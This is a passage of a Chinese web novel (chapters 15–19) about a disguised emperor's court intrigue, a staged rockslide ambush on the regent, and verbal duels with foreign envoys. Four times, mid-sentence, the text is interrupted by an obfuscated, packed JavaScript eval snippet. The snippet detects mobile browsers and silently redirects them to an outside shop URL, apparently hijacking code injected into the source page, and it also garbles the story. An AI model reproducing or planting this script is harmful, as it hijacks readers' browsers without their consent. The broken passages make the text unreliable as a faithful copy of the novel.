虽然她半点也不记得了,但很是淡定地抬手指了指坐在薛太傅身旁的礼部侍郎:“对吧,柳侍郎。” 柳侍郎是保皇派中公认的老好人,性情温和且学识不俗,精通各家经典。 “正是。”柳侍郎忙道,“我大周佛学道学源远流长,去岁,东瀛人非要与我大周辩佛理,还专找那些偏门深奥的佛学典故出辩题。” 赵锦繁:佛理…… “东瀛人早有准备,本来胜券在握,不过他们也是惨。” 赵锦繁:惨? “摄政王只用了几句话便将来使驳得无地自容,据说是因为他幼年在西南浅修过佛法,对佛理略知一二。” “……”赵锦繁第一次知道略知一二这个词还能这么用。 “去岁东瀛在众国面前丢了大脸,今年或许会消停点也说不定。倒是北狄……” 薛太傅欲言又止。 “北狄自身资源贫瘠,靠掠夺他人得以生存,一直觊觎我大周领地。这几年一直在边关兴风作浪,试探我大周底线,恐怕此次来者不善。” 殿内气氛陡然有些低迷。 赵锦繁朝如意看了眼,不一会儿如意便同宫人们一起端上来一盘盘精致的糕点。 “先不说这个了,诸位先用些点心茶水。” 殿中臣子齐声谢过赵锦繁,气氛缓和下来,只薛太傅依然愁眉不展。 老人家一生忠君,为国为民,华发早生。为了她这个“不争气”的学生操碎了心。 赵锦繁心有不忍,宽慰他道:“先生莫太忧心,兵来将挡,水来土掩,我大周也非那等任人欺凌的小国。” 薛太傅道:“是。” 用完茶点后,几位大臣又同赵锦繁谈了些如今的朝堂形势,骂了几句沈谏以及权臣派,临近黄昏才各自散去。 临去前,薛太傅叮嘱赵锦繁:“陛下现如今忙于大朝会之事,多有操劳,但臣还是不得不提醒陛下一句。” “记得多多留意定国公。” 赵锦繁应下了。 如果说权臣派之首是沈谏,那么与之对应的保皇派领袖便是定国公。 保皇派如今士气低迷与定国公脱不开关系。 当初储位之争朝野内乱,信王来势汹汹,赵氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477590|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能有机会坐在这帝位之上,皆因定国公。 按理说他忠于赵氏,是支撑赵氏走下去的坚实力量,不过…… 自她继位伊始,定国公上朝的次数屈指可数,三天撒网两天打渔,不是称病就是外出。 似乎并不像传闻中那般看好赵氏。 赵锦繁对这个人的了解和认知全都来自于楚昂。 因为他是楚昂的父亲。 * 却说另一头。 掌灯时分,丞相府内,围廊前挂着的琉璃灯一盏接一盏亮起,璀璨生辉,如点点星河。 沈谏惬意地坐在水榭亭中,吹着风,闭目养神。 礼部尚书张永来访,在他耳边叨叨着:“听说下朝后,保皇派那几个老头就去了紫宸殿议事,一直议到黄昏,也不知说了些什么?” 沈谏懒得睁眼:“还能是什么,不就是那点事。” 他就是闭着眼也能猜到。 “无非是说点大朝会的事,顺便骂骂你,骂骂我。” 张永谄媚道:“他们骂我倒不打紧,可您为大周那是呕心沥血,鞠躬尽瘁,他们怎么能……” “得了,这些话就不必说了。”沈谏打断他道。 张永又道:“说起来上回宫宴那些没眼色的使臣和举子竟敢对您不敬,是否要微臣替您处理了?给那群人一点教训。” 沈谏睁开眼:“倒是不必。” “嘴长在别人身上,他们爱怎么说是他们的事,与我何干?”他抬手敲了敲张永的脑袋,“你啊还是省点力吧,凡事都放心上,会短命。” 张永:“……” “您真是大人有大量!” 沈谏朝他笑了笑,继续闭目养神。 张永见他如此,也不欲再打扰,转身离开了丞相府。 少了张永在耳边叽叽喳喳,周遭顿时安静了下来。 沈谏本以为能好好休息一会儿,谁知张永刚走没多久,府里刘管事匆匆走进水榭。 “相爷,有您的八百里飞鸽急书。” 是谁这么不合时宜扰人清休? 沈谏骂骂咧咧接过刘管事递来的纸条,打开一看,上头只写了四个字。 只这四个字,让他原本和煦淡然的脸色一瞬沉了下来。 信上头写着—— “君上遇险。” 16. 第 16 章 次日早朝之上,素以勤勉著称,为官数载从未缺席过朝会的丞相沈谏,未见人影。 执掌官吏日常考绩的吏部方侍郎执笏上前一步道:“启奏陛下,户部尚书兼同中书门下平章事沈谏今日称病告假。” 礼部尚书张永纳闷。 昨夜他去丞相府时,姓沈的明明还生龙活虎好的很,怎么忽然就病到连早朝都上不了了? 丞相府书房密室内,墙面上挂着几盏蜡烛,烛火昏黄,气氛沉凝。 沈谏目光阴沉,看向来人:“如何,有消息了么?到底怎么回事?” 来人禀道:“君上回京途中,意外偶遇山石滑坡。” 沈谏敛眸深思。 意外…… * 千里之外,云州。 阴雨连绵,镇日不见天光,山里弥漫着浓重湿气,令人难以喘息。 信王的随行怀刃灰头土脸地从废墟堆里爬出来,呸呸吐了几口飞进嘴里的泥,满心愤懑无处发泄,只想仰天长啸一句—— 意外个鬼啊! 事情要从两天前说起。 他们的队伍自千都山平叛归往京城,途径云州,恰逢云州积雨成灾,官道被雨水所淹,泥泞不堪,车马难行。 本打算改道走水路,从云州渡口乘船前往济州,再从济州出发回京,谁知偏就这么不巧,朝廷下令从济州往云州调粮救急。 连通云州和济州的宜水河上,所有能容人的大船和官船皆被调去运送粮食和救急所需物品以及受灾伤员。 剩下零星小船,虽可载人,但云州持续降雨,船身过小恐难抵水上风浪,稍有不慎便会葬身水底,因此没有船家愿意出船。 短时间内难以找到可行的船只。只能等官道积水消散,或是等大船和官船空闲下来,再行回京。 如此一来他们便需在云州逗留十数日。 不过君上似乎急欲回京,等不了十数日。 怀刃不知到底为何他那么着急回京,但云州地处盆地,四面环山,在官道不通,水路不行的情况下,只能改走山道。 山道路窄险陡,不易大队人马行进,为了不耽误时辰,怀刃和其他人暂且留在云州,君上独自先行上路。 谁曾想君上刚上路,未过多久便传来消息,说苍行山中路突发山石滑坡,整条山道的通路塌了个彻底。 苍行山中路,正是君上回程走的那条道。 身为信王长随,怀刃身经百战,遇事沉着,得了消息,并未声张,连同长风和几个可信的兄弟,先行进山查探。 他们在废墟里翻查了整整一天一夜,人是没找到,却意外在一处石缝中发现了些奇怪的草木灰。 一些混着硝石、硫磺和雄黄的草木灰。 这些东西单看没什么问题,加在一起却成了要命的东西—— 火药。 恐怕是有人提前在这条山道设伏,引燃了火药,意图伪造成山石滑坡,杀了君上。 设局之人实在心思缜密。 一则,这一带恰逢雨灾,偶有山石滑坡不足为奇,不易被人察觉有怪。 二则,寻常很少有人接触过火药这玩意,除非常年行军作战,否则换个文官来查,未必能查出端倪。 三则,连日阴雨,雨水将残留的火药几乎都冲刷干净,证据消失殆尽。 若不是他们刚巧找到这些奇怪的草木灰,险些也被骗了过去。 怀刃深吸一口气。 真是好久没遇到这么狠,这么准,这么大胆的对手了。 不过有一点他始终没想明白。 他抬头望向连绵群山。 通往京城的山道不止这一条,君上行踪隐秘,从苍行山中路回京一事,除了他和长风之外,根本无人知晓。 那个人怎么就确定君上一定会从苍行山中路走呢? * 京城,紫宸殿。 春日艳阳透过窗纱,照在书房青石地砖上。 赵锦繁静坐在书案前,手里摁着前几日信王托沈谏送来的信。 她的目光落在信上写着的两个字上—— 十七。 如无意外,指的是他的归期,他将会在这封信送到的第十七天回到京城。 从拿到这封信的那一刻,她就在想,到底是什么样的人,会这么明目张胆的将自己的归期日程告诉给自己的对手。 这个人必然很强,强大到自负,随心所欲且极度任性。 以他的性情,宣告了自己的归期,无论怎样,都会在这个日子回到京城。 云州地处低洼,雨水一多,官道必然积水难行。 他想在十七日内归京,便会想到走水路从济州绕行。 只要将水路堵上,为了能尽快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477591|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回京,他便不得不走山道。 山道路面狭窄又多陡坡,带大队人马回京,无疑会拖慢脚程。 他若要在归期抵京,必然会选择自己先行上路。 苍行山中路人迹罕至。 如此一来,她在山道设伏,便不会伤及无辜。 云州山道繁多,苍行山中路山道最短,却也最陡最险峻。 换做其他人未必会选。 但信王这样强到自负之人,八成会选这一条通路。 此人一生通达,平生未尝败绩,越是难以征服的险境,他越有兴趣。 事实证明,她赌对了。 今日早朝,户部上报云州赈灾的情况,提及苍行山一带山石滑坡引得山道崩塌一事。 加之,沈谏忽然“称病不朝”。 什么样的事能让沈谏连早朝也顾不上。 恐怕是信王遇险。 赵锦繁合上信封,松了口气,唤了如意进来,将手边的心经交给她。 “劳你替我去后院佛龛前将这叠往生经烧了。” 如意应是,接过抄满经文的黄纸,转身欲走,赵锦繁忽出声叫住她:“等等。” “还是我亲自去。”赵锦繁道。 当是替她这位素未谋面的仲父送行了。 * 丞相府书房密室之内。 权臣派几位中流砥柱齐聚一堂。 礼部尚书张永:“怎么就这么巧,回京路上偏偏遇到山石滑坡。” 巧? 沈谏笑了。 他这辈子最不信的就是巧合。 就如当年科考,高中榜首的永安侯世子被先帝看上的那篇文章,同他从前写过的策论相差无几。 所有人都告诉他,那是巧合。 但那是吗? 荀某人怎么就好死不死偏偏就走了那条根本没多少人走的偏僻山道。 这其中没鬼才怪。 朱翰林忧心忡忡:“如今君上生死未卜,下落不明,我们该怎么办?” 沈谏坐在上首,抬眼:“能怎么办?他死了你还打算殉主吗?” 朱翰林:“……” 沈谏:“他死了太阳就从西边出来了吗?” 他看向底下坐着的几人,沉声道:“一切照旧,云州那边一天没新消息,你等便当做没有此事,莫要自乱阵脚。” 17. 第 17 章 次日,晨曦微露,京城迎来了东瀛及北狄的使团。 两国来使一前一后入含元殿朝见。 先进殿的是来自东瀛的使臣。 站在首位的来使走入殿中,第一眼看见的便是坐在高台之上的小皇帝。 瘦削轻薄的身材,瓷白的脸,唇小而精致,秀美的鼻子,上扬的凤眼,若为女子必定是位妩媚勾人的大美人,可他偏是个男子。 这样的容貌让他少了几分男子气概,看上去比传闻中更加软弱不中用。 “东瀛来使清原参见大周陛下。” 赵锦繁朝他抬手:“使君免礼。” 不仅容貌如此,连说话声音听上去也有些绵软阴柔。 这是清原第一次来使大周,从前出使大周的都是他的兄长。 不过他那个没用的兄长,去岁在大周与人辨佛理,结果被人几句话堵到哑口无言,在众国面前失了脸面。 兄长深觉无地自容,今年无论如何也不肯再来,只好由他出使大周。 他来大周前,兄长多次出言提醒—— 大周人不好惹,切莫自寻没脸。 清原知道去年让他兄长在众国面前丢进脸面的是那位摄政王。 那位摄政王才是大周真正的话事人。 正如他们清原氏在东瀛一样,拥有凌驾于君主之上的绝对权力。 而眼前这位小皇帝便如同一件美丽的摆设,好看却无用。 清原曾见过那位摄政王的画像,他微抬眼扫了眼四周,见群臣之中,并未看到有类似的人物在殿内,遂起了几分轻慢之心。 他想起去岁兄长在大周受挫一事,心中不快,今年多少想找回些场子。 那位摄政王他惹不起,找他们小皇帝出出气也不是不行。 于是他故意道:“我曾闻贵国摄政王有过人之智,还以为大周尽是如他这般杰出的人才,特意代替兄长来使大周,想要好好会一会,却不巧今日并未见到一个想见的人。” 底下群臣一瞬愤然。 这是在骂他们在场的都是蠢蛋。 薛太傅出声道:“使君请慎言。” 清原立刻回击:“怎么你们陛下还未说话,底下臣子就能先开口,未免太过尊卑不分了吧?” 他将矛头指向坐在高台之上的赵锦繁。 殿内诸臣有口难言,其中难免有人牢骚。 东瀛人欺软怕硬,倘若此刻摄政王在,他们哪里敢如此出言不逊。 沈相和定国公皆称病告假。 如今坐在上头那位哪里压得住场子。 今日一早便闹了这一出,传出去让大周颜面何存。 在场的东瀛使臣们脸上显见有一雪前耻的得意 清原抬眼见高台之上的赵锦繁一副懵懂茫然的样子,心中更加不屑。 兄长说大周人不好惹,那也得分人。 比如眼前这位就软弱可欺得很。 正如是想着,他口中软弱可欺的小皇帝,忽然摇着头叹了一声。 清原微微皱眉:“陛下何以叹气?” 赵锦繁眨了眨眼:“朕只是在想一个问题,不知使君可否替朕解惑?” 清原笑道:“那是自然,东瀛人耳通目达,不至于连陛下一个小小的问题也解答不了。” 赵锦繁作不解状,道:“我大周乃礼仪之邦,对待外宾向来礼数分明,不同的外宾有不同的对待方式。接见通达贤明外宾的皆是优秀之人,卑劣无耻之国自然也不必由贤能之人接见。我大周自问以诚对待东瀛,今日来的皆是贤臣,可使君却觉在场没什么像样的人。” “那么敢问使君,是自觉贵国卑劣下作吗?” 清原嘴角的笑僵在脸上,半天答不上来。 赵锦繁:“使君这是怎么了?怎么连这一个小小的问题都答不上来?” 她又叹了一声:“哎,那完了我还有一问要问使君呢。” “不如这样,诸位在场的东瀛使者都来帮帮朕。” 被她叫到的东瀛使团无人应答,不过赵锦繁的问题还是照问。 “爱国护国之心,人皆有之,何分尊卑?在我大周即便是升斗小民也不曾有一刻将其忘之。方才使君出言辱我大周,太傅驳之,何错之有?” “难道说在你东瀛,有人当众对东瀛出言不逊,你等也能坐视不理,一言不发?东瀛人都如此大度的吗?” 清原脸色由红润转成惨白。 方才心中牢骚的臣子听了这话脸上也是一阵臊意。 他国人挑衅自己国家,他们不想着反驳和解决问题,反而先看轻自己人,实在惭愧。 清原一行人站在大殿中间,只觉来自四面八方的每一道眼神,都另他们浑身难受。 他忽有一点体会到了去岁兄长无地自容时的心情。 尤其是再抬眼时,看见“软弱可欺”的小皇帝正朝他温和地笑,心里莫名瘆得慌。 当下也不再多留,低头告辞。 赵锦繁吩咐鸿胪寺的官员送他们一行人出殿,紧接着又迎来了北狄的使者。 北狄王和几个随同的北狄官员走进殿来。 这位北狄王长了双锐利的长眼,面向略凶,气势凌人。 几人并未向赵锦繁行礼。 北狄人觊觎大周领土已久,这几年在边关频频试探,意图撕毁从前签下的议和条约。 他们既想毁约,又不愿背上毁约失信的骂名,于是想尽办法来逼大周先行毁约。 此次出使大周,恐来者不善。 站在北狄王左边那位使臣出列,道:“吾乃北狄国师慕真,我等此次前来大周,有件东西想请陛下见见。” 国师一职在北狄是百官之首,等同于如今沈谏在大周的职位。 赵锦繁:“哦?是何物?” 慕真朝身后比了个手势,很快便有人押着只大木箱子上来。 站在高台前的两名侍卫对视一眼,上前查验箱子。 他们谨慎地打开箱锁,抬起箱盖。箱盖开启的一瞬间,两名侍卫脸上皆是震惊之色。 其中一名侍卫上前禀道:“陛下,箱子里……竟然是个人!” 且箱子里的人被刑拘铐着,像是个有罪之人。 赵锦繁看向慕真:“国师这是何意?这就是国师所谓的‘东西’?” 慕真回道:“回陛下,吾之所以称他为东西,只因他实在不配为人。” 他向身后人使了个眼色,身后两名北狄官员上前将箱子里的人拉了出来,扔在地上。 慕真对周围一众大周臣子道:“在场诸位,难道没有人认得此人是谁吗?” 礼部尚书张永拧着眉,盯着那人看了好一阵子后,惊出了声:“难道是……” 张永走上前回禀:“陛下,此人名为王盛,原是我礼部之人。十余年前大周与北狄议和,派遣使者前往北狄传扬大周文化,派去的正是王盛。” “正是。”慕真道,“这位来自贵国的使者,在我北狄与人妇私通,被当场捉奸在床,犯有通奸罪。” 张永平日里是油滑惯了的人,见人说人话,见鬼说鬼话,上阵没他影,装死第一名。此刻闻言却忍不住忿忿不平。 “陛下明鉴,那王盛是出了名刻板的老顽固,家中只有妻室一名,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477592|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通房也不曾有过,当年听说大周需要人远离故土,出使千里之外的异国,王盛毅然决然受命前往,这一去十余年未归过家了,是个令人敬佩的忠正之人。这样的人如何能做出国师口中之事?” 恐怕是有人刻意陷害。 慕真却道:“他在北狄犯下的事,人证物证俱在,不容狡辩。吾可管不得此人从前如何,只想问问陛下,何以你们大周要派这样的人来我北狄?” 从方才开始就站在一边不声不响的北狄王顺势出声:“还是说你们大周都是些同他一样的败类,找不出一个良人来?” 底下群臣哗然,一时声讨之声四起。 赵锦繁静默片刻,忽然笑了。 慕真不解:“陛下笑什么?” 赵锦繁回道:“不知北狄王与国师可否听过,橘生淮南则为橘,生于淮北则为枳。生在淮南的橘子甜香可口,生在淮北就变得酸涩难咽了。明明是一样的东西,偏偏味道一好一坏,天差地别,皆因其所处之地水土不同也。” “朕比你们还疑惑,正所谓一方水土养一方人,王盛在大周是个忠良之辈,怎么到了北狄就莫名其妙成了作奸犯科之人,莫不是你北狄水土太差所致?” 慕真:“你……” 那位不怎么多话的北狄王怒目而视。 赵锦繁不欲再与他们多辨,瞥了眼殿外天色,道:“天色不早,鸿胪寺卿先安排几位来使安顿下来,稍后朕会在麟德殿设宴款待诸位来使。” 鸿胪寺郑寺卿领命,自群臣中//出列,对站在殿中央的北狄使团做了个请的手势:“诸位来使这边请。” 北狄王冷哼了一声,看了一眼慕真,甩了甩衣袖,朝殿外走去。 送走两国使臣,朝会终于散去。 礼部柳侍郎与薛太傅并排走出大殿。 柳侍郎想起今日朝会上一幕幕,道:“我总觉得咱们陛下似乎和从前有些不一样了。” 薛太傅问:“哪不一样?” 柳侍郎:“方才陛下在大殿上,很是能言善辩,灵敏机警。没有沈相和定国公在,却把事情都安排得井井有条,稳而不乱。” 薛太傅挑眉,捋着胡子笑道:“老夫的学生,就没有笨的!” 他忍不住提醒了句:“你呀你,仔细想想咱们陛下自登基以来,看似处处受人掣肘,可哪次真的吃过亏?” 柳侍郎一怔,张着嘴好久没闭上。 * 午后,赵锦繁坐在书案前翻着奏折。 鸿胪寺郑寺卿忽来求见。 “陛下,北狄王嫌弃鸿胪寺安排的住所太小配不上他的身份,是否另做安排?” 赵锦繁道:“在宫中寻处大的宫殿给他暂住。” “是。”郑寺卿应下走人,可没过多久,又回来了。 赵锦繁道:“又怎么了?” 郑寺卿开口:“这位北狄王对花粉不耐,如今正是春花盛放的时节,宫中各大宫殿都种了各种名品花卉,只剩下一处大殿没种。” 赵锦繁:“那便安排他住那。” 郑寺卿:“这恐怕不行。” 赵锦繁:“为何?” 郑寺卿犹豫着道:“那处是摄政王留宿宫中时常住的,因其不喜欢颜色鲜艳,芬芳浓郁的东西,所以他住的地方不种花卉。” 赵锦繁:“……” 这人臭毛病还真多。 赵锦繁同他刚好相反,就喜欢色彩鲜艳,香气浓郁的东西。 她身上惯用意可香。 那天晚上那个男人,似乎也很喜欢意可香缠绵浓郁的味道,她的每一寸皮肤都不放过,全要吻啃一遍。 18. 第 18 章 那个男人不仅沉迷意可香,体力还异常出色,让人难以招架。 那晚来过她寝宫的三人里,惯用意可香,体力又十分好的,要属楚昂。 说起来有几天没见过他了,也不知他这几日做什么去了? “陛下,那到底安排北狄王住哪好?”郑寺卿的问话将赵锦繁的思绪拉了回来。 赵锦繁想了想道:“我记得太液池边上有所空殿,倒也还算宽敞,那处似乎并无花卉,只铺了些草坪,便安排在那吧。” “这……”郑寺卿道,“恐怕也不行。” 赵锦繁疑惑:“这又为何不行了?” 郑寺卿道:“您不记得了,摄政王在那养了一窝兔子。” 赵锦繁扯了扯嘴角,笑道:“想不到仲父他老人家喜欢照顾这么可爱的小动物,真是令人意想不到的温柔有爱心呢。” 郑寺卿愣住。 温柔……有爱心…… 您确定吗? 赵锦繁想,她那位仲父约是回不了京,往后这群兔子没了依傍,难免会轮作他人盘中餐。 这群兔子悲惨的命运由她而起,她自当负责。 于是她道:“这样吧,你命人将这群兔子挪到紫宸殿来,由朕代为照看。再着人将空殿清扫一二,安排北狄王住那。” 郑寺卿:“是。” 赵锦繁:“等北狄王安顿好后,告诉他朕有一事要与他相商,请他过来一叙。” 郑寺卿应下后,转身出殿。 很快就有宫人送兔子过来,十余只兔子陆续进殿。 赵锦繁在紫宸殿后院辟了块大草坪,专门留给这群兔子。 这群兔子一看便知是被人精心养着的,毛色雪白想是时常清理。 赵锦繁捧起一只放在怀中,顺了顺它的毛。 福贵正从侧门走进紫宸殿后院。 赵锦繁抬头朝他炫耀:“福贵你瞧,我有兔子了!” 福贵愣了愣,恍惚想起很多年前,西域进贡了好些灵种兔,这些灵种兔十分可爱惹人疼,先帝将这些兔子分给子女们赏玩。 她早早就站在殿门外等宫人送兔子过来。 但不知是有人刻意为难,还是先帝真的忘了他还有个九皇子,所有人都有,受宠的六皇子甚至分到了好几只,唯独只有她一只也没分到。 福贵心里莫名起了一阵酸楚,又见如今赵锦繁笑得开心,感到一点欣慰。 “陛下,这兔子是哪来的?” 赵锦繁笑:“抢别人的,以后都归我了。” 福贵:“……” 是谁这么倒霉? * 赵锦繁在院中挼了会儿兔子,过了不久,郑寺卿进殿回禀。 “北狄王一行已安顿在太液池旁的空殿,不过北狄王的花粉不耐似乎十分严重,躲在殿中不肯见人,在大周的一切事务全权交由国师慕真处理。” “这样啊。”赵锦繁若有所思,“那这位国师现下在何处?” “在太液池中心亭饮茶赏花。”郑寺卿道,“是否要老臣去请他过来?” “罢了,寺卿今日多番辗转也累了,回去休息吧。”赵锦繁道,“今日天气不错,朕正巧也想去太液池边走走,顺道见一见这位国师。” “是。” 郑寺卿退下后,赵锦繁召来御辇,前往太液池。 刚出殿门,就在外头遇到了一位意想不到的人。 “礼部张永,参见陛下。” 赵锦繁撩开车帘,朝出声之人望去:“张尚书,稀客。” 张永神色略有尴尬。 赵锦繁问了句:“沈相身子可有好些?” 张永回道:“相爷他……他只是偶感风寒,相信歇息几日,就能恢复康健。” 赵锦繁:“哦,如此便好。” 张永:“微臣今日前来并非为了同陛下说沈相之事,而是为了……” “为了王盛。”赵锦繁替他答道。 一下子被人道破心中所想,张永愣了愣。 他忽想起之前沈谏说过,摄政王这样的人,花了三年还没从岌岌可危的赵氏手里夺过江山,你觉得眼下坐在帝位上那位,真如表面一般不中用吗? 他叹了口气道:“微臣本不是爱多管闲事之人,只是昔年我与王盛同在礼部,也算有过共事之谊。” 记得他们刚入官场那会儿,满腔热血想要有一番大作为,还对赵氏抱有幻想,只可惜现实给了他们沉痛的一击。 先帝昏庸无能,流连女色,不事朝政,江山社稷千疮百孔,国力日渐衰败。 他们也从最开始的一腔热忱变得心灰意冷。 张永犹豫了很久道:“其实原本该去北狄的人是微臣,而非王盛。” 当年先帝有意在礼部择一人出使北狄传扬大周文化,原本老尚书选定的人是他。 可他退缩了。 如果刚入官场那会儿让他去,他大概会毫不犹豫,可后来他只觉得为那样的君主卖命不值得。 也或许是因为当时他的妻子生下了一双儿女,他有了难以割舍的牵挂。 王盛看出了他的不坚定,主动提出代他前往。 这一去可能一辈子也回不了故土,他承不了这么大的恩情。 他有回绝过王盛 “你这样不值得,不必可怜我。” 王盛却不是这样想的。 “为官者,能为国出力,怎样都值得,我羡慕你。” 他们这一群人里,只有王盛从来没忘记初心。 “那你妻子怎么办?” “她……她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477593|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说会写信给我。” “劳你替我照顾她。” “你这愁眉苦脸做什么?我又不是真回不来了。不过……若三年后没有我的消息传来,劳你替我送封和离书与她,再为她择户好人家。” “是我对不起她。” …… 张永从回忆里抽神,继续说道:“他的妻子等了他十余年,也没等到他的任何消息,在年初过世了,死前同微臣说想同他葬在一起,微臣对着将死之人也说不下狠话,心里却知这实非易事。” “如今王盛在北狄背了罪,北狄定然不肯轻易放过。陛下能否看在他一心为国的份上,求一求北狄王……微臣不敢奢求他能活着回来,只求将来能有机会要回他的骨骸,也好了却他妻子遗愿。” 赵锦繁看着躬身垂首的张永,道:“你在说什么胡话?” 张永不知自己说错了什么,张了张嘴:“啊?” 赵锦繁道:“他当然得活着回来,好好的回来。” 张永一怔。 “即便你今日不来,朕亦不会坐视不理。倘使朕没有对一心为国效力的臣子尽过力,何以让朝中一众臣子信服,何配坐在含元殿高台之上?” “朕不仅要他回来,还要北狄人恭恭敬敬把他送回来。” 张永睁着眼,半天没说出话来,胸口仿佛有热血凝聚,恭恭敬敬地伏身行了个大礼,回过神来,赵锦繁的御辇已走远。 等等!不对啊! 他对着小皇帝激动个什么劲啊!他可是实打实的权臣派! * 丞相府后院。 沈谏坐在水榭旁悠哉喂鱼,他的爱鸽小白时隔两天,再一次送来了八百里加急。 他从小白的爪上取下信纸,打开看了眼。 朱翰林站在一旁:“这信上可说了什么?” 沈谏瞥了他一眼:“怎么是你,张永呢?” 朱翰林回道:“不知他去哪了,下朝就没见过了。您找他?” “不。”沈谏道,“只是平日里叽叽喳喳追着我跑,人一不在还挺不习惯。” 朱翰林赔笑了几声,又把话题扯回了信上。 “可是君上有消息了?” 沈谏:“嗯。” 朱翰林急问:“君上他如何了?” 沈谏:“呵,勉强活着。” “他幼时在西南也遇过不少山道坍塌之事。这家伙走哪毁哪,命还特硬。” 朱翰林松了口气:“活着就好,那他可有什么吩咐。” “有。”沈谏一脸无语,“他要我看好他的兔子。” 朱翰林:“……就这个?” 当然不止。 沈谏视线落在信中最后一行字上—— “赵锦繁的一举一动,尽数告知与我。” 19. 第 19 章 皇城深处,太液池上水波荡漾,波光粼粼,沿岸亭台楼阁,错落有致,远处群山翠微,重重叠叠,别有一番景致。 赵锦繁乘船自岸边随水飘向池中央的中心亭。 北狄国师慕真正站在中心亭最高处,自上而下眺望各处美景,见赵锦繁的船靠近,笑问:“陛下也如此好兴致前来赏景?” 他的长相与那位花粉不耐躲在殿中的北狄王正相反,那位面相略凶,他看上去却十分儒雅沉稳。 赵锦繁的船靠在中心亭边上,她自船上下来,缓步走向慕真所在的最高处。 “赏景是其次。”她顿了顿道,“朕是特意来见北狄王你的。” 慕真闻言一愣,随即失笑:“陛下别是弄错了,北狄王正在殿中。” 赵锦繁道:“殿中那位不是,你是。” 慕真目光一凛:“什么时候发现的?” 赵锦繁道:“从你说开口说第一个字开始。” 慕真饶有兴味地看着她:“哦?” 赵锦繁道:“你开口说的第一句话是‘吾乃北狄国师慕真’,素闻北狄尊卑等级分明,你身为臣子,你们王上就在身边,你不称自己为‘臣’,却称自己为‘吾’,未免太过傲慢。” 慕真:“就因为这个?” “又闻北狄王年轻有为,在北狄威望甚高,不似朕一般身边有位权倾朝野的仲父,行事处处受掣肘。可你身边那位北狄王,寡言少语不说,做事前处处看你眼色,似乎与传闻中的样子并不相符。” 赵锦繁看向他身后的两名护卫。 “朕曾在一本详写北狄风土人情的书上见过,北狄武士分为九等,只有上三等的武士才配用剑,腰间蹀躞带上镶有三角红玛瑙的是王上的随身亲卫。” “你身后二位,腰带上虽缠了布条以做遮挡,但左边那位走路习惯在腰间用力,施力间扯动了布条,稍稍从里头露了点宝石光辉。” “这二位亲卫不在殿中护着‘王上’,反而跟着‘国师’你,不奇怪吗?” 慕真笑道:“大周陛下真是细致入微,与传闻中似乎很是不同。不过也能想见,一个在如此残酷的储位之争里幸存下来,坐上帝位的人,不是真正没用的傻子,就是绝顶聪明之人。陛下显然是后者。” 赵锦繁回道:“承蒙夸赞。” 慕真问:“陛下难道不好奇,本王为何要扮作他人?” 赵锦繁微笑:“抱歉,王上你的长相还没有好到能让朕对你好奇的地步。只要王上的言行不危及大周社稷,奚随君便。” 慕真:“……”这前半句是在骂他长得难看吧? “明人不说暗话,不知陛下今日来见本王所谓何事?” 赵锦繁:“有样东西想让你瞧瞧。” 北狄王缓缓抬眼,见眼前的大周皇帝从袖间取出几封信来。 方才还笑意盈盈的北狄王看到信上的字迹,目光忽然一沉。 * 几百里外,成州。 几人骑快马一刻不停穿行在蜿蜒曲折山路中,行至深夜,几人在山脚驿站暂做停留。 怀刃在马厩喂完马,走回客间。 夜里山间,天色如泼墨一般,信鸽们拍打着翅膀划过夜空。 怀刃推开客房门,月下窗前,有一人静坐在旁,正闭目修养。 他的手边停着一群训练有素,日行千里的白羽信鸽。 怀刃走上前,解下绑在鸽子腿上的信。 “您昨日都给沈相写了什么信,怎么他今日回了那么多封给您。” 怀刃朝他看去,见他正闭目修养。 他们在苍行山中路最深处寻见他的时候,他正站在废墟之上,疾风吹散他的墨发,雨雾之中,额间血水混着细密雨丝顺着他修长脖颈滑落。 他手掌间,夹杂着火药的草木灰随风消散。 